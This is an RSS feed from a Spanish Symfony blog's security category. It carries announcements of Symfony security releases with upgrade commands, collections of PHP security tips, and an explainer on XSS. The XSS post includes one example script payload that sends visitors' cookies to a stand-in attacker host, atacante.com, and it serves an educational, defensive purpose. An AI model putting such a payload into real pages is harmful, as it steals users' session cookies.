<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Symfony.es &#187; seguridad</title>
	<atom:link href="http://www.symfony.es/categoria/seguridad/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.symfony.es</link>
	<description>Hablamos sobre Symfony, el mejor framework para desarrollar aplicaciones web con PHP</description>
	<lastBuildDate>Wed, 01 Sep 2010 14:22:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Se publican las actualizaciones de seguridad 1.3.6 y 1.4.6</title>
		<link>http://www.symfony.es/2010/07/02/se-publican-las-actualizaciones-de-seguridad-1-3-6-y-1-4-6/</link>
		<comments>http://www.symfony.es/2010/07/02/se-publican-las-actualizaciones-de-seguridad-1-3-6-y-1-4-6/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 05:28:33 +0000</pubDate>
		<dc:creator>Javier Eguiluz</dc:creator>
				<category><![CDATA[seguridad]]></category>
		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://www.symfony.es/?p=1163</guid>
		<description><![CDATA[Un problema de seguridad descubierto en las ramas 1.3 y 1.4 de Symfony ha obligado a adelantar la publicación de sus versiones ... <a href="http://www.symfony.es/2010/07/02/se-publican-las-actualizaciones-de-seguridad-1-3-6-y-1-4-6/">seguir leyendo</a>]]></description>
			<content:encoded><![CDATA[<p>Un problema de seguridad descubierto en las ramas 1.3 y 1.4 de Symfony ha obligado a adelantar la publicación de sus versiones de mantenimiento.<strong> Se recomienda actualizar inmediatamente todas las aplicaciones que utilicen symfony 1.3 y 1.4</strong>.</p>
<p>La vulnerabilidad descubierta está relacionada con la forma en la que se guardan las plantillas en la cache. Los parámetros GET de la URL de la plantilla se utilizan para determinar el directorio en el que se guarda la plantilla.</p>
<p>El problema es que estos parámetros GET de la plantilla no se <em>limpiaban</em> antes de generar la ruta donde se guardará la plantilla. La consecuencia es que un atacante podría utilizar parámetros GET especialmente preparados para almacenar las plantillas en algún directorio por encima del directorio de la cache de la aplicación.</p>
<p>Como siempre, para actualizar tu versión de Symfony:</p>
<ul>
<li>Si usas el sandbox, te lo tienes que bajar otra vez.</li>
<li>Si lo has instalado mediante el archivo comprimido de Symfony, te lo tienes que bajar otra vez desde <a href="http://www.symfony-project.org/installation/1_3">www.symfony-project.org/installation/1_3</a> o <a href="http://www.symfony-project.org/installation/1_4">www.symfony-project.org/installation/1_4</a> y debes descomprimirlo en el mismo directorio dentro de tu proyecto.</li>
<li>Si lo has instalado mediante PEAR, ejecuta el comando <code>pear upgrade symfony/symfony-1.3.6</code> o <code>pear upgrade symfony/symfony-1.4.6</code></li>
<li>Si lo instalas mediante Subversion, ejecuta el comando <code>svn checkout http://svn.symfony-project.com/tags/RELEASE_1_3_6/</code> o <code>svn checkout http://svn.symfony-project.com/tags/RELEASE_1_4_6/</code></li>
</ul>
<p>Independientemente de cómo lo actualices, no olvides borrar la caché de cada proyecto después de la actualización mediante los siguientes comandos:</p>
<p>Si utilizas Doctrine:</p>
<pre>$ php symfony doctrine:build --all-classes
$ php symfony cache:clear</pre>
<p>Si utilizas Propel:</p>
<pre>$ php symfony propel:build --all-classes
$ php symfony cache:clear</pre>
<p>Fuente: <a href="http://www.symfony-project.org/blog/2010/06/29/security-release-symfony-1-3-6-and-1-4-6">Security Release: symfony 1.3.6 and 1.4.6</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.symfony.es/2010/07/02/se-publican-las-actualizaciones-de-seguridad-1-3-6-y-1-4-6/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Se publican Symfony 1.3.5 y 1.4.5</title>
		<link>http://www.symfony.es/2010/06/02/se-publican-symfony-1-3-5-y-1-4-5/</link>
		<comments>http://www.symfony.es/2010/06/02/se-publican-symfony-1-3-5-y-1-4-5/#comments</comments>
		<pubDate>Wed, 02 Jun 2010 06:13:12 +0000</pubDate>
		<dc:creator>Javier Eguiluz</dc:creator>
				<category><![CDATA[seguridad]]></category>
		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://www.symfony.es/?p=1122</guid>
		<description><![CDATA[Los responsables de Symfony acaban de publicar las nuevas versiones de mantenimiento 1.3.5 y 1.4.5. Además de las habituales correcciones de errores, ... <a href="http://www.symfony.es/2010/06/02/se-publican-symfony-1-3-5-y-1-4-5/">seguir leyendo</a>]]></description>
			<content:encoded><![CDATA[<p>Los responsables de Symfony acaban de publicar las nuevas versiones de mantenimiento 1.3.5 y 1.4.5. Además de las habituales correcciones de errores, estos son los cambios más importantes:</p>
<ul>
<li>Los formularios basados en Doctrine y Propel contenían un fallo de seguridad que permitía a un usuario actualizar el valor de un registro de la base de datos diferente al que muestra el formulario. El fallo se encontraba en los validadores generados por Symfony para las claves primarias.</li>
<li>Se ha actualizado Propel a su versión 1.4.2 y la librería de pruebas <em>lime</em> a su versión 1.0.9.</li>
<li>Ahora se puede utilizar la tarea <code>doctrine:clean</code> para borrar los formularios generados para los modelos en los que se ha deshabilitado la generación de formularios.</li>
<li>La clases de los widgets de fecha y hora utilizan correctamente la opción <code>id_format</code>.</li>
</ul>
<p>Como siempre, para actualizar tu versión de Symfony:</p>
<ul>
<li>Si usas el sandbox, te lo tienes que bajar otra vez.</li>
<li>Si lo has instalado mediante el archivo comprimido de Symfony, te lo tienes que bajar otra vez desde <a href="http://www.symfony-project.org/installation/1_3">www.symfony-project.org/installation/1_3</a> o <a href="http://www.symfony-project.org/installation/1_4">www.symfony-project.org/installation/1_4</a> y debes descomprimirlo en el mismo directorio dentro de tu proyecto.</li>
<li>Si lo has instalado mediante PEAR, ejecuta el comando <code>pear upgrade symfony/symfony-1.3.5</code> o<code>pear upgrade symfony/symfony-1.4.5</code></li>
<li>Si lo instalas mediante Subversion, ejecuta el comando <code>svn checkout http://svn.symfony-project.com/tags/RELEASE_1_3_5/</code> o <code>svn checkout http://svn.symfony-project.com/tags/RELEASE_1_4_5/</code></li>
</ul>
<p>Independientemente de cómo lo actualices, no olvides borrar la caché de cada proyecto después de la actualización mediante los siguientes comandos:</p>
<p>Si utilizas Doctrine:</p>
<pre>$ php symfony doctrine:build --all-classes
$ php symfony cache:clear</pre>
<p>Si utilizas Propel:</p>
<pre>$ php symfony propel:build --all-classes
$ php symfony cache:clear</pre>
<p>Fuente: <a href="http://www.symfony-project.org/blog/2010/05/31/symfony-1-3-5-and-1-4-5">symfony 1.3.5 and 1.4.5</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.symfony.es/2010/06/02/se-publican-symfony-1-3-5-y-1-4-5/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Se publican las actualizaciones de seguridad 1.2.12, 1.3.3 y 1.4.3</title>
		<link>http://www.symfony.es/2010/02/25/se-publican-las-actualizaciones-de-seguridad-1-2-12-1-3-3-y-1-4-3/</link>
		<comments>http://www.symfony.es/2010/02/25/se-publican-las-actualizaciones-de-seguridad-1-2-12-1-3-3-y-1-4-3/#comments</comments>
		<pubDate>Thu, 25 Feb 2010 20:31:11 +0000</pubDate>
		<dc:creator>Javier Eguiluz</dc:creator>
				<category><![CDATA[doctrine]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://www.symfony.es/?p=1079</guid>
		<description><![CDATA[El equipo de desarrollo de Symfony acaba de publicar tres nuevas versiones de la rama 1.X para solucionar una vulnerabilidad de tipo ... <a href="http://www.symfony.es/2010/02/25/se-publican-las-actualizaciones-de-seguridad-1-2-12-1-3-3-y-1-4-3/">seguir leyendo</a>]]></description>
			<content:encoded><![CDATA[<p>El equipo de desarrollo de Symfony acaba de publicar tres nuevas versiones de la rama 1.X para solucionar una vulnerabilidad de tipo <em>SQL injection</em>. El problema <strong>sólo afecta a la versión de Doctrine</strong> del generador de la parte de administración, por lo que el generador de Propel no está afectado por este problema.</p>
<p><strong>Se recomienda la actualización inmediata</strong> de todas las versiones de Symfony ya que un atacante podría inyectar código SQL arbitrario en la consulta aprovechando un error en el filtrado del parámetro de ordenación de registros enviado como parámetro de tipo GET.</p>
<p>Como siempre, para actualizar tu versión de Symfony:</p>
<ul>
<li> Si usas el sandbox, te lo tienes que bajar otra vez.</li>
<li>Si lo has instalado mediante el archivo comprimido de Symfony, te lo tienes que bajar otra vez desde <a href="http://www.symfony-project.org/installation/1_2">www.symfony-project.org/installation/1_2</a>, <a href="http://www.symfony-project.org/installation/1_3">www.symfony-project.org/installation/1_3</a> o  <a href="http://www.symfony-project.org/installation/1_4">www.symfony-project.org/installation/1_4</a> y debes descomprimirlo en el mismo directorio dentro de tu proyecto.</li>
<li>Si lo has instalado mediante PEAR, ejecuta el comando <code>pear upgrade symfony/symfony-1.2.12</code>, <code>pear upgrade symfony/symfony-1.3.3</code> o <code>pear upgrade symfony/symfony-1.4.3</code></li>
<li>Si lo instalas mediante Subversion, ejecuta el comando <code>svn checkout http://svn.symfony-project.com/tags/RELEASE_1_2_12/</code>, <code>svn checkout http://svn.symfony-project.com/tags/RELEASE_1_3_3/</code> o <code>svn checkout http://svn.symfony-project.com/tags/RELEASE_1_4_3/</code></li>
</ul>
<p>Independientemente de cómo lo actualices, no olvides borrar la caché de cada proyecto después de la actualización mediante los siguientes comandos:</p>
<pre>$ php symfony doctrine:build --all-classes
$ php symfony cache:clear</pre>
<p><a href="http://www.symfony-project.org/blog/2010/02/25/security-release-1-2-12-1-3-3-and-1-4-3">Fuente: Security Release: 1.2.12, 1.3.3 and 1.4.3</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.symfony.es/2010/02/25/se-publican-las-actualizaciones-de-seguridad-1-2-12-1-3-3-y-1-4-3/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Se publica Symfony 1.2.6</title>
		<link>http://www.symfony.es/2009/04/27/se-publica-symfony-126/</link>
		<comments>http://www.symfony.es/2009/04/27/se-publica-symfony-126/#comments</comments>
		<pubDate>Mon, 27 Apr 2009 18:45:42 +0000</pubDate>
		<dc:creator>Javier Eguiluz</dc:creator>
				<category><![CDATA[seguridad]]></category>
		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://www.symfony.es/?p=741</guid>
		<description><![CDATA[Se acaba de publicar Symfony 1.2.6 para corregir un problema de seguridad detectado en todas las versiones de Symfony 1.2.X y 1.3.X ... <a href="http://www.symfony.es/2009/04/27/se-publica-symfony-126/">seguir leyendo</a>]]></description>
			<content:encoded><![CDATA[<p>Se acaba de publicar Symfony 1.2.6 para corregir un <strong>problema de seguridad detectado en todas las versiones de Symfony 1.2.X y 1.3.X</strong> tanto con Propel como con Doctrine. Por este motivo, <strong>se recomienda la actualización</strong> de todas las versiones afectadas.</p>
<p>Tus aplicaciones están afectadas si utilizas el generador de la parte de administración de Symfony 1.2 y eliminas campos de los formularios mediante la opción <code>display</code> del archivo de configuración <code>generator.yml</code> y no los quitas del formulario asociado mediante el método <code>unset()</code>.</p>
<p>La nueva versión 1.2.6 elimina automáticamente todos los campos del formulario que se ocultan mediante la opción <code>display</code> del archivo <code>generator.yml</code>. No se eliminan los campos ocultos de tipo <em>hidden</em>. El blog oficial <a href="http://www.symfony-project.org/blog/2009/04/27/symfony-1-2-6-security-fix">explica con más detalle el problema</a> y la solución empleada.</p>
<p>Como siempre, para actualizar tu versión de Symfony:</p>
<ul>
<li> Si usas el sandbox, te lo tienes que bajar otra vez.</li>
<li>Si lo has instalado mediante el archivo comprimido de Symfony, te lo tienes que bajar otra vez desde <a href="www.symfony-project.org/installation/1_2">www.symfony-project.org/installation/1_2</a> y debes descomprimirlo en el mismo directorio dentro de tu proyecto.</li>
<li>Si lo has instalado mediante PEAR, ejecuta el comando <code>pear upgrade symfony/symfony-1.2.6</code></li>
<li>Si lo instalas mediante Subversion, ejecuta el comando <code>svn checkout http://svn.symfony-project.com/tags/RELEASE_1_2_6/ .</code></li>
<li>También puedes aplicar al código de Symfony el siguiente <a href="http://trac.symfony-project.org/changeset/17680?format=diff&amp;new=17680">parche para actualizar desde la versión 1.2.5</a></li>
</ul>
<p>Independientemente de cómo lo actualices, no olvides borrar la caché de cada proyecto después de la actualización mediante el comando <code>./symfony cc</code></p>
<p>Fuente: <a href="http://www.symfony-project.org/blog/2009/04/27/symfony-1-2-6-security-fix">symfony 1.2.6: Security fix</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.symfony.es/2009/04/27/se-publica-symfony-126/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>La importancia de la seguridad en Symfony</title>
		<link>http://www.symfony.es/2008/10/06/la-importancia-de-la-seguridad-en-symfony/</link>
		<comments>http://www.symfony.es/2008/10/06/la-importancia-de-la-seguridad-en-symfony/#comments</comments>
		<pubDate>Mon, 06 Oct 2008 17:35:34 +0000</pubDate>
		<dc:creator>Javier Eguiluz</dc:creator>
				<category><![CDATA[plugins]]></category>
		<category><![CDATA[seguridad]]></category>
		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://www.symfony.es/?p=480</guid>
		<description><![CDATA[La seguridad es uno de los pilares de Symfony desde que en mayo de 2008 se modificó su política de seguridad tras ... <a href="http://www.symfony.es/2008/10/06/la-importancia-de-la-seguridad-en-symfony/">seguir leyendo</a>]]></description>
			<content:encoded><![CDATA[<p>La seguridad es uno de los pilares de Symfony desde que en mayo de 2008 se <a href="http://www.symfony.es/2008/05/22/nueva-politica-de-seguridad-de-symfony/">modificó su política de seguridad</a> tras un grave agujero de seguridad que tardó demasiado tiempo en corregirse. Hoy en día Symfony incluye numerosas estrategias y utilidades para hacer frente a los ataques<a href="http://es.wikipedia.org/wiki/XSS"> XSS </a>y <a href="http://en.wikipedia.org/wiki/CSRF">CSRF</a>.</p>
<p>La semana pasada, Fabien Potencier, creador de Symfony, publicó un <a href="http://www.symfony-project.org/blog/2008/10/03/security-must-be-taken-seriously">artículo en el blog oficial</a> comentando una <a href="http://railspikes.com/2008/9/22/is-your-rails-application-safe-from-mass-assignment">grave vulnerabilidad descubierta en RubyOnRails</a>. Aunque la intención de Fabien no es iniciar una guerra con RubyOnRails sobre cuál de los dos frameworks es mejor, Symfony presenta una gran ventaja en este aspecto.</p>
<p>Los formularios de Symfony, desde su versión 1.1, son objetos de primer nivel, por lo que no tienen efecto los ataques que intentan inyectar campos que no pertenecen al formulario original. Tal y como se explica en el <a href="http://www.librosweb.es/symfony_formularios/capitulo2.html">capítulo 2 del libro de formularios de Symfony</a>, las opciones <code>allow_extra_fields</code> y <code>filter_extra_fields </code>permiten controlar si todos los campos del formulario deben tener asignado un validador y si se deben filtrar todos los campos adicionales.</p>
<p>En los comentarios del artículo de Fabien, un usuario llamado Toc alertaba sobre una posible vulnerabilidad de tipo XSS en el mecanismo de formularios. En menos de 7 horas el error había sido investigado, confirmado y solucionado. El resultado es la <a href="http://www.symfony-project.org/blog/2008/10/03/symfony-1-1-4-released-security-fix">versión 1.1.4 de Symfony</a> que incluye la corrección <a href="http://trac.symfony-project.org/changeset/11932">r11932</a>.</p>
<p>En otro comentario del mismo artículo, el symfonero Pablo (conocido por su nick <em>pablodip</em>) asegura que actualmente Symfony no se encuentra protegido contra algunos ataques de tipo CSRF. De hecho, Pablo ha creado un plugin llamado <a href="http://trac.assembla.com/pablodip/browser/plugins/pdCSRFPlugin/trunk">pdCSRFPlugin</a> para solucionar estos problemas.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.symfony.es/2008/10/06/la-importancia-de-la-seguridad-en-symfony/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Nueva política de seguridad de Symfony</title>
		<link>http://www.symfony.es/2008/05/22/nueva-politica-de-seguridad-de-symfony/</link>
		<comments>http://www.symfony.es/2008/05/22/nueva-politica-de-seguridad-de-symfony/#comments</comments>
		<pubDate>Wed, 21 May 2008 23:10:01 +0000</pubDate>
		<dc:creator>Javier Eguiluz</dc:creator>
				<category><![CDATA[seguridad]]></category>
		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://www.symfony.es/2008/05/22/nueva-politica-de-seguridad-de-symfony/</guid>
		<description><![CDATA[La semana pasada se publicó la versión 1.0.16 de Symfony, que corregía un grave error de seguridad. Aunque parezca increíble, la notificación ... <a href="http://www.symfony.es/2008/05/22/nueva-politica-de-seguridad-de-symfony/">seguir leyendo</a>]]></description>
			<content:encoded><![CDATA[<p>La semana pasada <a href="http://www.symfony.es/2008/05/14/se-publica-symfony-1016/">se publicó la versión 1.0.16</a> de Symfony, que corregía un grave error de seguridad. Aunque parezca increíble, la notificación sobre este error de seguridad se realizó hace más de un año. El <a href="http://trac.symfony-project.com/ticket/1617">ticket #1617</a> estuvo abierto durante más de 12 meses sin que nadie advirtiera sobre el grave peligro que suponía.</p>
<p>Los creadores de Symfony reconocen que algo así es intolerable y que el sistema de alertas de problemas de seguridad que tenían hasta este momento no era propio de un framework de esta calidad. Afortunadamente, los responsables de Symfony han reaccionado y van a mejorar la situación desde este mismo momento.</p>
<p>A partir de ahora, cualquier usuario o programador que encuentre un problema de seguridad en Symfony, puede notificarlo en la dirección de correo electrónico <strong>security @ symfony-project.com</strong>, aportando toda la información posible sobre el error encontrado y cualquier archivo o parche que pueda ayudar a solucionarlo. Los mensajes recibidos en esa dirección pasan directamente a los programadores de Symfony, que lo investigan  para actuar lo antes posible.</p>
<p>Afortunadamente, Symfony ha aprendido de sus propios errores a tiempo y va a dedicar los esfuerzos y recursos necesarios a la seguridad del framework, algo esencial para que las empresas se decidan a crear sus aplicaciones con este framework.</p>
<p>Fuente: <a href="http://www.symfony-project.org/blog/2008/05/21/new-symfony-security-policy">New symfony security policy</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.symfony.es/2008/05/22/nueva-politica-de-seguridad-de-symfony/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>5 nuevos consejos rápidos sobre seguridad en PHP</title>
		<link>http://www.symfony.es/2007/03/27/5-nuevos-consejos-rapidos-sobre-seguridad-en-php/</link>
		<comments>http://www.symfony.es/2007/03/27/5-nuevos-consejos-rapidos-sobre-seguridad-en-php/#comments</comments>
		<pubDate>Tue, 27 Mar 2007 06:44:00 +0000</pubDate>
		<dc:creator>Javier Eguiluz</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[seguridad]]></category>

		<guid isPermaLink="false">http://89.17.210.134/?p=55</guid>
		<description><![CDATA[El MOPB sigue publicando fallos de seguridad de PHP (ya van 34 errores y la mayoría sin solución todavía) y Zend sigue ... <a href="http://www.symfony.es/2007/03/27/5-nuevos-consejos-rapidos-sobre-seguridad-en-php/">seguir leyendo</a>]]></description>
			<content:encoded><![CDATA[<p>El <a href="http://www.php-security.org/">MOPB</a> sigue publicando fallos de seguridad de PHP (ya van 34 errores y la mayoría sin solución todavía) y Zend sigue con su táctica de publicar consejos breves y útiles sobre seguridad en PHP.</p>
<p>Después de <a href="http://www.symfony.es/2007/03/5-consejos-rpidos-sobre-seguridad-en.html">los 5 primeros consejos</a> y de su continuación con <a href="http://www.symfony.es/2007/03/otors-5-consejos-rpidos-sobre-seguridad.html">otros 5 consejos sobre seguridad</a>, ahora se publican los siguientes 5 consejos breves:</p>
<ol>
<li><a href="http://devzone.zend.com/node/view/id/1817">Concede a los usuarios solo los permisos que necesitan</a>: Symfony dispone de <a href="http://www.librosweb.es/symfony/capitulo6/seguridad_de_la_accion.html">mecanismos para definir la seguridad</a> de cada acción y las credenciales de cada usuario</li>
<p>
<li><a href="http://devzone.zend.com/node/view/id/1821">Utiliza con cuidado la función <code>eval()</code></a>: que se haya filtrado, validado y restringido los datos introducidos por los usuarios, no significa que se puedan utilizar directamente con la función <code>eval()</code></li>
<p>
<li><a href="http://devzone.zend.com/node/view/id/1833">Comprueba continuamente la seguridad de tu aplicación mediante la herramienta PHPSecInfo</a>: se trata de una herramienta gratuita que muestra información sobre la seguridad de la aplicación y posibles mejoras (<a href="http://phpsec.org/projects/phpsecinfo/">descargar PHPSecInfo</a>)</li>
<p>
<li><a href="http://devzone.zend.com/node/view/id/1842">Minimiza la información almacenada en las cookies, ya que puede ser vista por usuarios maliciosos</a></li>
<p>
<li><a href="http://devzone.zend.com/node/view/id/1849">Borra todos los archivos de prueba utilizados en el desarrollo</a>: es una buena idea eliminar cualquier archivo utilizado para <em>pruebas rápidas</em> o para mostrar determinada información del servidor</li>
<p></ol>
<p>Fuente: <a href="http://devzone.zend.com/public/view/tag/Security_Tips">Zend Security Tips</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.symfony.es/2007/03/27/5-nuevos-consejos-rapidos-sobre-seguridad-en-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Otros 5 consejos rápidos sobre seguridad en PHP</title>
		<link>http://www.symfony.es/2007/03/15/otros-5-consejos-rapidos-sobre-seguridad-en-php/</link>
		<comments>http://www.symfony.es/2007/03/15/otros-5-consejos-rapidos-sobre-seguridad-en-php/#comments</comments>
		<pubDate>Thu, 15 Mar 2007 15:52:00 +0000</pubDate>
		<dc:creator>Javier Eguiluz</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[seguridad]]></category>

		<guid isPermaLink="false">http://89.17.210.134/?p=40</guid>
		<description><![CDATA[Mientras el MOPB sigue publicando fallos de seguridad de PHP, Zend contraataca publicando sus consejos útiles para hacer aplicaciones más seguras.
Ya comentamos ... <a href="http://www.symfony.es/2007/03/15/otros-5-consejos-rapidos-sobre-seguridad-en-php/">seguir leyendo</a>]]></description>
			<content:encoded><![CDATA[<p>Mientras el <a href="http://www.php-security.org/">MOPB</a> sigue publicando fallos de seguridad de PHP, Zend contraataca publicando sus consejos útiles para hacer aplicaciones más seguras.</p>
<p>Ya comentamos <a href="http://www.symfony.es/2007/03/5-consejos-rpidos-sobre-seguridad-en.html">los 5 primeros consejos</a> que se habían publicado, y ahora mostramos los 5 siguientes consejos que podemos aplicar a nuestras aplicaciones de Symfony:</p>
<ol>
<li><a href="http://devzone.zend.com/node/view/id/1778">Filtra las variables numéricas utilizadas en el código SQL y conviertelas en números de forma explícita</a></li>
<p>
<li><a href="http://devzone.zend.com/node/view/id/1786">Borrar la sesión anterior cuando se utiliza <code>session_regenerate_id()</code></a>: tan fácil como realizar la llamada a la función mediante <code>session_regenerate_id(true)</code> para borrar el archivo asociado a la sesión anterior</li>
<p>
<li><a href="http://devzone.zend.com/node/view/id/1793">Además de filtrar los datos introducidos por un usuario, se deben validar</a>: no solo es suficiente con utilizar las <a href="http://es.php.net/manual/en/ref.filter.php">funciones de filtrado de PHP</a>, sino que es necesario comprobar que los datos se encuentran dentro de unos valores permitidos.</li>
<p>
<li><a href="http://devzone.zend.com/node/view/id/1807">Los datos y archivos con información confidencial no deberían guardarse en un directorio del servidor web</a>: la solución consiste en guardar esos archivos y datos en otros directorios o utilizar siempre archivos acabados en <code>.php</code> para que el servidor web no muestre directamente su contenido</li>
<p>
<li><a href="http://devzone.zend.com/node/view/id/1815">No envíes emails directamente a partir de los datos introducidos en un formulario</a>: una vez más, es preciso filtrar y validar los datos introducidos por los usuarios</li>
<p></ol>
<p>Fuente: <a href="http://devzone.zend.com/public/view/tag/Security_Tips">Zend Security Tips</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.symfony.es/2007/03/15/otros-5-consejos-rapidos-sobre-seguridad-en-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>5 consejos rápidos sobre seguridad en PHP</title>
		<link>http://www.symfony.es/2007/03/09/5-consejos-rapidos-sobre-seguridad-en-php/</link>
		<comments>http://www.symfony.es/2007/03/09/5-consejos-rapidos-sobre-seguridad-en-php/#comments</comments>
		<pubDate>Fri, 09 Mar 2007 09:45:00 +0000</pubDate>
		<dc:creator>Javier Eguiluz</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[seguridad]]></category>

		<guid isPermaLink="false">http://89.17.210.134/?p=27</guid>
		<description><![CDATA[Zend ha decidido contraatacar el MOPB publicando cada día un consejo sobre cómo mejorar la seguridad en PHP. Aunque es una buena ... <a href="http://www.symfony.es/2007/03/09/5-consejos-rapidos-sobre-seguridad-en-php/">seguir leyendo</a>]]></description>
			<content:encoded><![CDATA[<p>Zend ha decidido contraatacar el <a href="http://www.symfony.es/2007/03/cuidado-empieza-el-mopb.html">MOPB</a> publicando cada día un consejo sobre cómo mejorar la seguridad en PHP. Aunque es una buena iniciativa, esperemos que no sea la única para contrarrestar los <a href="http://www.php-security.org/">16 fallos de seguridad</a> que se han publicado hasta el momento.
<ol>
<li><a href="http://devzone.zend.com/node/view/id/1741">Mantener actualizada la versión de PHP utilizada</a></li>
<p>
<li><a href="http://devzone.zend.com/node/view/id/1745">No mostrar los errores en el servidor de producción</a>: tan fácil como establecer la directiva <code>display_errors</code> a un valor <code>Off</code> en el archivo de configuración <code>php.ini</code></li>
<p>
<li><a href="http://devzone.zend.com/node/view/id/1754">Utilizar herramientas externas para auditar el código y descubrir vulnerabilidades que aun no han sido explotadas</a>: para ello se pueden utilizar herramientas como <a href="https://chorizo-scanner.com/">Chorizo</a> y <a href="http://phpsec.org/projects/phpsecinfo/">PHPSecInfo</a></li>
<p>
<li><a href="http://devzone.zend.com/node/view/id/1761">Los archivos y directorios con información confidencial deberían tener nombres distintos a los de por defecto</a>: no se trata de conseguir la seguridad total a base de <em>esconder las cosas</em>, pero es un consejo que puede ayudar a conseguir más seguridad</li>
<p>
<li><a href="http://devzone.zend.com/node/view/id/1767">Nunca te fíes de los usuarios</a>: siempre se deben filtrar los datos introducidos por los usuarios y también se deben filtrar los datos mostrados por la aplicación y que han sido generados por elementos no confiables</li>
<p></ol>
<p>Fuente: <a href="http://devzone.zend.com/public/view/tag/Security_Tips">Zend Security Tips</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.symfony.es/2007/03/09/5-consejos-rapidos-sobre-seguridad-en-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Symfony y los ataques XSS</title>
		<link>http://www.symfony.es/2007/03/07/symfony-y-los-ataques-xss/</link>
		<comments>http://www.symfony.es/2007/03/07/symfony-y-los-ataques-xss/#comments</comments>
		<pubDate>Wed, 07 Mar 2007 15:34:00 +0000</pubDate>
		<dc:creator>Javier Eguiluz</dc:creator>
				<category><![CDATA[seguridad]]></category>
		<category><![CDATA[symfony]]></category>

		<guid isPermaLink="false">http://89.17.210.134/?p=22</guid>
		<description><![CDATA[Las aplicaciones web que permiten a los usuarios introducir datos deben ser especialmente cuidadosas con la forma en la que procesan y ... <a href="http://www.symfony.es/2007/03/07/symfony-y-los-ataques-xss/">seguir leyendo</a>]]></description>
			<content:encoded><![CDATA[<p>Las aplicaciones web que permiten a los usuarios introducir datos deben ser especialmente cuidadosas con la forma en la que procesan y muestran esos datos. Si no se toman las precauciones oportunas, se pueden producir ataques de tipo XSS (<em>cross-site scripting</em>). El sitio <a href="http://devzone.zend.com/">Zend Developer Zone</a> publica <a href="http://devzone.zend.com/node/view/id/1752">un artículo muy interesante</a> sobre este tipo de ataques.</p>
<p>Imagina que la aplicación permite a los usuarios introducir comentarios en los artículos mediante un <code>&lt;textarea></code>, y entra un usuario malicioso que introduce lo siguiente:</p>
<div class="code">
<pre>&lt;script>; document.write('&lt;script src="http://www.atacante.com/get_cookies?cookies=' document.write(document.cookie) document.write('">&lt;/script>');&lt;/script></pre>
</div>
<p>Si la aplicación no tiene en cuenta que los usuarios pueden introducir este tipo de datos y muestra directamente el contenido de ese comentario, el resultado es que cualquier usuario que acceda a la página enviará el contenido de su cookie al servidor del atacante.</p>
<p><a href="http://devzone.zend.com/node/view/id/1752">El artículo completo</a> explica (en inglés) más detalladamente estos ataques XSS e incluye posibles soluciones.</p>
<p>Symfony por defecto está expuesto a algunos ataques de tipo XSS, tal y como se explica en su documentación oficial. En concreto, <a href="http://www.librosweb.es/symfony/capitulo7/mecanismo_de_escape.html">el capítulo 7</a> del libro de Symfony explica el mecanismo de escape que incluye Symfony para evitar los ataques de tipo XSS y las opciones disponibles.</p>
<p>Fuente: <a href="http://devzone.zend.com/node/view/id/1752">Avoiding XSS security attacks to sites that use HTML editors</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.symfony.es/2007/03/07/symfony-y-los-ataques-xss/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
